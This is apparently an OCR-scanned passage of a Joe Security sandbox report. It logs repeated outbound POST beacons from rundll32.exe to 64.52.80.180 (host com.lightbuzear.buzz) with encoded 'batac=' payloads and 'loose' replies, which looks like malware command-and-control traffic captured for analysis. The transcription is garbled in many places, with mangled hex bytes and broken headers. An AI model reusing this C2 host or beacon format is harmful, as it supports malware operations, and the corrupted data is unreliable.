User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2;
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)

Host: com.lightbuzear.buzz

Content-Length: 1118

Cache-Control: no-cache
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kBytes

Timestam
P transferred

2022-08-14 06:40:22 UTC 87

2022-08-14 06:40:23 UTC 88

2022-08-14 06:40:23 UTC 88

Session ID Source IP
53 192.168.2.22
. kBytes
Ti t
imestamp transferred

2022-08-14 06:40:23 UTC 88

2022-08-14 06:40:23 UTC 89

2022-08-14 06:40:24 UTC 90

2022-08-14 06:40:24 UTC 90

Session ID Source IP

54 192.168.2.22
. kBytes

Timestamp transferred

2022-08-14 06:40:24 UTC 90

Copyright Joe Security LLC 2022

Direction

ouT

Source Port

49225

Direction

ouT

ouT

Source Port

49226

Direction

ouT

Data

Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6¢ 33 50
4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6¢ 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6¢ 4b 72 67 33 79 31 59
58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35
783274 47 34 41 44 67 70 53 6¢ 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f
65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65
64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6¢ 44 50 68 4a 46 6b 53 39 54 44 58 74
743276 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59

Data Ascii: batac=0L+XEVQMdNEOmMdmOK4ptkgRxrWHI3PKwig9w4587/hMI/QbE7urWTjNRDNgEYIKrg3y1lYX4F
/ZN6DYWwWSn/6HtUXJIGg52WF//6mnyJVmx2Dil5x2tG4ADgpSIVHFAYOBOmbaa56+RpY TTtZKOKXOeG50nEihQ4v4SW
j6aanNkEaHTwviUvcalL5NbjwedcAtPaly33KpMmVoz25devpsg2|DPhJFkS9TDX{t2vti4 BEWgj+XgsaWzMhC1Y

HTTP/1.1 200 OK

Date: Sun, 14 Aug 2022 06:40:22 GMT
Server: Apache/2.4.41 (Ubuntu)
Access-Control-Allow-Origin: *
Content-Length: 5

Connection: close

Content-Type: text/html; charset=UTF-8

Data Raw: 6¢ 6f 6f 73 65
Data Ascii: loose

Destination
Destination IP Process
Port

64.52.80.180 443 C:\Windows\System32\rundlI32.exe

Data

POST /Kolpt523ytcserstrew/torel HTTP/1.1

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2;
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)

Host: com.lightbuzear.buzz

Content-Length: 1118

Cache-Control: no-cache

Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6¢ 33 50
4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6¢ 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6¢ 4b 72 67 33 79 31 59
58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35
783274 47 34 41 44 67 70 53 6¢ 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f
65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65
64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6¢ 44 50 68 4a 46 6b 53 39 54 44 58 74
743276 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59

Data Ascii: batac=0L+XEVQMdNEOmMdmOK4ptkgRxrWHI3PKwig9w4587/hMI/QbE7urWTjNRDNgEYIKrg3y1YX4F
/ZN6DYWwSn/6HtUXJIGg52WF//6mnyJVmx2Dil5x2tG4ADgpSIVHFAYOBOmbaa56+RpY TT9tZKOKXOeG50nEihQ4v4SW
j6aanNkEaHTwviUvcal 5NbjwedcAtPaly33KpMmVoz25devpsg2IDPhJFKS9TDXtt2vti4ABEWgj+XgsaWzMhC1Y

HTTP/1.1 200 OK

Date: Sun, 14 Aug 2022 06:40:24 GMT
Server: Apache/2.4.41 (Ubuntu)
Access-Control-Allow-Origin: *
Content-Length: 5

Connection: close

Content-Type: text/html; charset=UTF-8

Data Raw: 6¢ 6f 6f 73 65
Data Ascii: loose

Destinati
Destination IP Estnaton Process

Port
64.52.80.180 443 C:\Windows\System32\rundlI32.exe

Data

POST /Kolpt523ytcserstrew/torel HTTP/1.1

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2;
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)

Host: com.lightbuzear.buzz

Content-Length: 1118

Cache-Control: no-cache
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kBytes

Timestam
P transferred

2022-08-14 06:40:24 UTC 91

2022-08-14 06:40:25 UTC 92

2022-08-14 06:40:25 UTC 92

Session ID Source IP
55 192.168.2.22
. kBytes
Ti t
imestamp transferred

2022-08-14 06:40:25 UTC 92

2022-08-14 06:40:25 UTC 92

2022-08-14 06:40:26 UTC 93

2022-08-14 06:40:26 UTC 93

Session ID Source IP

56 192.168.2.22
. kBytes

Timestamp transferred

2022-08-14 06:40:26 UTC 93

Copyright Joe Security LLC 2022

Direction

ouT

Source Port

49227

Direction

ouT

ouT

Source Port

49228

Direction

ouT

Data

Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6¢ 33 50
4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6¢ 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6¢ 4b 72 67 33 79 31 59
58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35
783274 47 34 41 44 67 70 53 6¢ 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f
65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65
64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6¢ 44 50 68 4a 46 6b 53 39 54 44 58 74
743276 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59

Data Ascii: batac=0L+XEVQMdNEOmMdmOK4ptkgRxrWHI3PKwig9w4587/hMI/QbE7urWTjNRDNgEYIKrg3ylYX4F
/ZN6DYWwWSn/6HtUXJIGg52WF//6mnyJVmx2Dil5x2tG4ADgpSIVHFAYOBOmbaa56+RpY TTtZKOKXOeG50nEihQ4v4SW
j6aanNkEaHTwviUvcalL5NbjwedcAtPaly33KpMmVoz25devpsg2IDPhJFkS9TDX{t2vti4 BEWgj+XgsaWzMhC1Y

HTTP/1.1 200 OK

Date: Sun, 14 Aug 2022 06:40:25 GMT
Server: Apache/2.4.41 (Ubuntu)
Access-Control-Allow-Origin: *
Content-Length: 5

Connection: close

Content-Type: text/html; charset=UTF-8

Data Raw: 6¢ 6f 6f 73 65
Data Ascii: loose

Destination
Destination IP Process
Port

64.52.80.180 443 C:\Windows\System32\rundlI32.exe

Data

POST /Kolpt523ytcserstrew/torel HTTP/1.1

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2;
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)

Host: com.lightbuzear.buzz

Content-Length: 1118

Cache-Control: no-cache

Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6¢ 33 50
4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6¢ 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6¢ 4b 72 67 33 79 31 59
58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35
783274 47 34 41 44 67 70 53 6¢ 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f
65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65
64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6¢ 44 50 68 4a 46 6b 53 39 54 44 58 74
743276 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59

Data Ascii: batac=0L+XEVQMdNEOmMdmOK4ptkgRxrWHI3PKwig9w4587/hMI/QbE7urWTjNRDNgEYIKrg3y1YX4F
/ZN6DYWwSn/6HtUXJIGg52WF//6mnyJVmx2Dil5x2tG4ADgpSIVHFAYOBOmbaa56+RpY TT9tZKOKXOeG50nEihQ4v4SW
j6aanNkEaHTwviUvcal 5NbjwedcAtPaly33KpMmVoz25devpsg2IDPhJFKS9TDXtt2vti4ABEWgj+XgsaWzMhC1Y

HTTP/1.1 200 OK

Date: Sun, 14 Aug 2022 06:40:26 GMT
Server: Apache/2.4.41 (Ubuntu)
Access-Control-Allow-Origin: *
Content-Length: 5

Connection: close

Content-Type: text/html; charset=UTF-8

Data Raw: 6¢ 6f 6f 73 65
Data Ascii: loose

Destination IP P ation Process
Port
64.52.80.180 443 C:\Windows\System32\rundll32.exe

Data

POST /Kolpt523ytcserstrew/torel HTTP/1.1

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2;
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)

Host: com.lightbuzear.buzz

Content-Length: 1118

Cache-Control: no-cache
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kBytes

Timestam
P transferred

2022-08-14 06:40:26 UTC 94

2022-08-14 06:40:27 UTC 95

2022-08-14 06:40:27 UTC 95

Session ID Source IP
57 192.168.2.22
. kBytes
Ti t
imestamp transferred

2022-08-14 06:40:27 UTC 95

2022-08-14 06:40:27 UTC 95

2022-08-14 06:40:28 UTC 97

2022-08-14 06:40:28 UTC 97

Session ID Source IP

58 192.168.2.22
. kBytes

Timestamp transferred

2022-08-14 06:40:29 UTC 97

Copyright Joe Security LLC 2022

Direction

ouT

Source Port

49229

Direction

ouT

ouT

Source Port

49230

Direction

ouT

Data

Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6¢ 33 50
4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6¢ 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6¢ 4b 72 67 33 79 31 59
58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35
783274 47 34 41 44 67 70 53 6¢ 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f
65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65
64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6¢ 44 50 68 4a 46 6b 53 39 54 44 58 74
743276 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59

Data Ascii: batac=0L+XEVQMdNEOmMdmOK4ptkgRxrWHI3PKwig9w4587/hMI/QbE7urWTjNRDNgEYIKrg3ylYX4F
/ZN6DYWwWSn/6HtUXJIGg52WF//6mnyJVmx2Dil5x2tG4ADgpSIVHFAYOBOmbaa56+RpY TTtZKOKXOeG50nEihQ4v4SW
j6aanNkEaHTwviUvcalL5NbjwedcAtPaly33KpMmVoz25devpsg2IDPhJFkS9TDX{t2vti4 BEWgj+XgsaWzMhC1Y

HTTP/1.1 200 OK

Date: Sun, 14 Aug 2022 06:40:27 GMT
Server: Apache/2.4.41 (Ubuntu)
Access-Control-Allow-Origin: *
Content-Length: 5

Connection: close

Content-Type: text/html; charset=UTF-8

Data Raw: 6¢ 6f 6f 73 65
Data Ascii: loose

Destination
Destination IP Process
Port

64.52.80.180 443 C:\Windows\System32\rundlI32.exe

Data

POST /Kolpt523ytcserstrew/torel HTTP/1.1

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2;
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)

Host: com.lightbuzear.buzz

Content-Length: 1118

Cache-Control: no-cache

Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6¢ 33 50
4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6¢ 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6¢ 4b 72 67 33 79 31 59
58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35
783274 47 34 41 44 67 70 53 6¢ 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f
65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65
64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6¢ 44 50 68 4a 46 6b 53 39 54 44 58 74
743276 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59

Data Ascii: batac=0L+XEVQMdNEOmMdmOK4ptkgRxrWHI3PKwig9w4587/hMI/QbE7urWTjNRDNgEYIKrg3y1YX4F
/ZN6DYWwSn/6HtUXJIGg52WF//6mnyJVmx2Dil5x2tG4ADgpSIVHFAYOBOmbaa56+RpY TT9tZKOKXOeG50nEihQ4v4SW
j6aanNkEaHTwviUvcal 5NbjwedcAtPaly33KpMmVoz25devpsg2IDPhJFKS9TDXtt2vti4ABEWgj+XgsaWzMhC1Y

HTTP/1.1 200 OK

Date: Sun, 14 Aug 2022 06:40:28 GMT
Server: Apache/2.4.41 (Ubuntu)
Access-Control-Allow-Origin: *
Content-Length: 5

Connection: close

Content-Type: text/html; charset=UTF-8

Data Raw: 6¢ 6f 6f 73 65
Data Ascii: loose

Destination IP D ation Process
Port
64.52.80.180 443 C:\Windows\System32\rundll32.exe

Data

POST /Kolpt523ytcserstrew/torel HTTP/1.1

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2;
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)

Host: com.lightbuzear.buzz

Content-Length: 1118

Cache-Control: no-cache
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kBytes

Timestamp Direction Data
transferred
2022-08-14 06:40:29 UTC 97 ouT Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6¢ 33 50
4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6¢ 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6¢ 4b 72 67 33 79 31 59
58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35
783274 47 34 41 44 67 70 53 6¢ 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f
65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65
64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6¢ 44 50 68 4a 46 6b 53 39 54 44 58 74
743276 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59
Data Ascii: batac=0L+XEVQMdNEOmMdmOK4ptkgRxrWHI3PKwig9w4587/hMI/QbE7urWTjNRDNgEYIKrg3ylYX4F
/ZN6DYwSn/6HtUXJIGg52WF//6mnyJVmx2Dil5x2tG4ADgpSIVHFAY0BOmbaa56+RpYTTItZKOKXOeG50nEihQ4v4SW
j6aanNkEaHTwviUvcalL5NbjwedcAtPaly33KpMmVoz25devpsg2IDPhJFkS9TDX{t2vti4 BEWgj+XgsaWzMhC1Y
2022-08-14 06:40:29 UTC 98 IN HTTP/1.1 200 OK
Date: Sun, 14 Aug 2022 06:40:29 GMT
Server: Apache/2.4.41 (Ubuntu)
Access-Control-Allow-Origin: *
Content-Length: 5
Connection: close
Content-Type: text/html; charset=UTF-8
2022-08-14 06:40:29 UTC 98 IN Data Raw: 6¢ 6f 6f 73 65
Data Ascii: loose
. L. Destination
Session ID Source IP Source Port Destination IP Port Process
59 192.168.2.22 49231 64.52.80.180 443 C:\Windows\System32\rundlI32.exe
Timestamp Ly Direction Data
transferred
2022-08-14 06:40:30 UTC 98 ouT POST /Kolpt523ytcserstrew/torel HTTP/1.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2;
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Host: com.lightbuzear.buzz
Content-Length: 1118
Cache-Control: no-cache
2022-08-14 06:40:30 UTC 99 ouT Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6¢ 33 50
4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6¢ 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6¢ 4b 72 67 33 79 31 59
58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35
783274 47 34 41 44 67 70 53 6¢ 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f
65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65
64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6¢ 44 50 68 4a 46 6b 53 39 54 44 58 74
743276 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59
Data Ascii: batac=0L+XEVQMdNEOmMdmOK4ptkgRxrWHI3PKwig9w4587/hMI/QbE7urWTjNRDNgEYIKrg3y1YX4F
/ZN6DYWwWSn/6HtUXJIGg52WF//6mnyJVmx2Dil5x2tG4ADgpSIVHFAY0BOmMbaa56+RpYTTItZKOKXOeG50nEihQ4v4SW
j6aanNkEaHTwviUvcal 5NbjwedcAtPaly33KpMmVoz25devpsg2IDPhJFKS9TDXtt2vti4ABEWgj+XgsaWzMhC1Y
2022-08-14 06:40:30 UTC 100 IN HTTP/1.1 200 OK
Date: Sun, 14 Aug 2022 06:40:30 GMT
Server: Apache/2.4.41 (Ubuntu)
Access-Control-Allow-Origin: *
Content-Length: 5
Connection: close
Content-Type: text/html; charset=UTF-8
2022-08-14 06:40:30 UTC 100 IN Data Raw: 6¢ 6f 6f 73 65
Data Ascii: loose
: I Destination
Session ID Source IP Source Port Destination IP Port Process
6 192.168.2.22 49178 64.52.80.180 443 C:\Windows\System32\rundll32.exe
Timestamp L Direction Data
transferred
2022-08-14 06:39:32 UTC 11 ouT POST /Kolpt523ytcserstrew/torel HTTP/1.1

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2;
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)

Host: com.lightbuzear.buzz

Content-Length: 1118

Cache-Control: no-cache
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kBytes

Timestamp Direction Data
transferred
2022-08-14 06:39:32 UTC 11 ouT Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6¢ 33 50
4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6¢ 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6¢ 4b 72 67 33 79 31 59
58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35
783274 47 34 41 44 67 70 53 6¢ 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f
65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65
64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6¢ 44 50 68 4a 46 6b 53 39 54 44 58 74
743276 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59
Data Ascii: batac=0L+XEVQMdNEOmMdmOK4ptkgRxrWHI3PKwig9w4587/hMI/QbE7urWTjNRDNgEYIKrg3y1lYX4F
/ZN6DYwSn/6HtUXJIGg52WF//6mnyJVmx2Dil5x2tG4ADgpSIVHFAY0BOmbaa56+RpYTTItZKOKXOeG50nEihQ4v4SW
j6aanNkEaHTwviUvcalL5NbjwedcAtPaly33KpMmVoz25devpsg2|DPhJFkS9TDX{t2vti4 BEWgj+XgsaWzMhC1Y
2022-08-14 06:39:32 UTC 13 IN HTTP/1.1 200 OK
Date: Sun, 14 Aug 2022 06:39:32 GMT
Server: Apache/2.4.41 (Ubuntu)
Access-Control-Allow-Origin: *
Content-Length: 5
Connection: close
Content-Type: text/html; charset=UTF-8
2022-08-14 06:39:32 UTC 13 IN Data Raw: 6¢ 6f 6f 73 65
Data Ascii: loose
. L Destination
Session ID Source IP Source Port Destination IP Port Process
60 192.168.2.22 49232 64.52.80.180 443 C:\Windows\System32\rundlI32.exe
Timestamp Ly Direction Data
transferred
2022-08-14 06:40:31 UTC 100 ouT POST /Kolpt523ytcserstrew/torel HTTP/1.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2;
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Host: com.lightbuzear.buzz
Content-Length: 1118
Cache-Control: no-cache
2022-08-14 06:40:31 UTC 100 ouT Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6¢ 33 50
4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6¢ 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6¢ 4b 72 67 33 79 31 59
58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35
783274 47 34 41 44 67 70 53 6¢ 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f
65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65
64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6¢ 44 50 68 4a 46 6b 53 39 54 44 58 74
743276 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59
Data Ascii: batac=0L+XEVQMdNEOmMdmOK4ptkgRxrWHI3PKwig9w4587/hMI/QbE7urWTjNRDNgEYIKrg3y1YX4F
/ZN6DYWSn/6HtUXJIGg52WF//6mnyJVmx2Dil5x2tG4ADgpSIVHFAY0BOmMbaa56+RpYTTItZKOKXOeG50nEihQ4v4SW
j6aanNkEaHTwviUvcal 5NbjwedcAtPaly33KpMmVoz25devpsg2IDPhJFKS9TDXtt2vti4ABEWgj+XgsaWzMhC1Y
2022-08-14 06:40:31 UTC 101 IN HTTP/1.1 200 OK
Date: Sun, 14 Aug 2022 06:40:31 GMT
Server: Apache/2.4.41 (Ubuntu)
Access-Control-Allow-Origin: *
Content-Length: 5
Connection: close
Content-Type: text/html; charset=UTF-8
2022-08-14 06:40:31 UTC 102 IN Data Raw: 6¢ 6f 6f 73 65
Data Ascii: loose
i I Destination
Session ID Source IP Source Port Destination IP Port Process
61 192.168.2.22 49233 64.52.80.180 443 C:\Windows\System32\rundll32.exe
Timestamp Lo Direction Data
transferred
2022-08-14 06:40:32 UTC 102 ouT POST /Kolpt523ytcserstrew/torel HTTP/1.1

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2;
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)

Host: com.lightbuzear.buzz

Content-Length: 1118

Cache-Control: no-cache
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kBytes

Timestamp Direction Data
transferred
2022-08-14 06:40:32 UTC 102 ouT Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6¢ 33 50
4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6¢ 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6¢ 4b 72 67 33 79 31 59
58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35
783274 47 34 41 44 67 70 53 6¢ 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f
65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65
64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6¢ 44 50 68 4a 46 6b 53 39 54 44 58 74
743276 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59
Data Ascii: batac=0L+XEVQMdNEOmMdmOK4ptkgRxrWHI3PKwig9w4587/hMI/QbE7urWTjNRDNgEYIKrg3ylYX4F
/ZN6DYwSn/6HtUXJIGg52WF//6mnyJVmx2Dil5x2tG4ADgpSIVHFAY0BOmbaa56+RpYTTItZKOKXOeG50nEihQ4v4SW
j6aanNkEaHTwviUvcalL5NbjwedcAtPaly33KpMmVoz25devpsg2IDPhJFkS9TDX{t2vti4 BEWgj+XgsaWzMhC1Y
2022-08-14 06:40:32 UTC 103 IN HTTP/1.1 200 OK
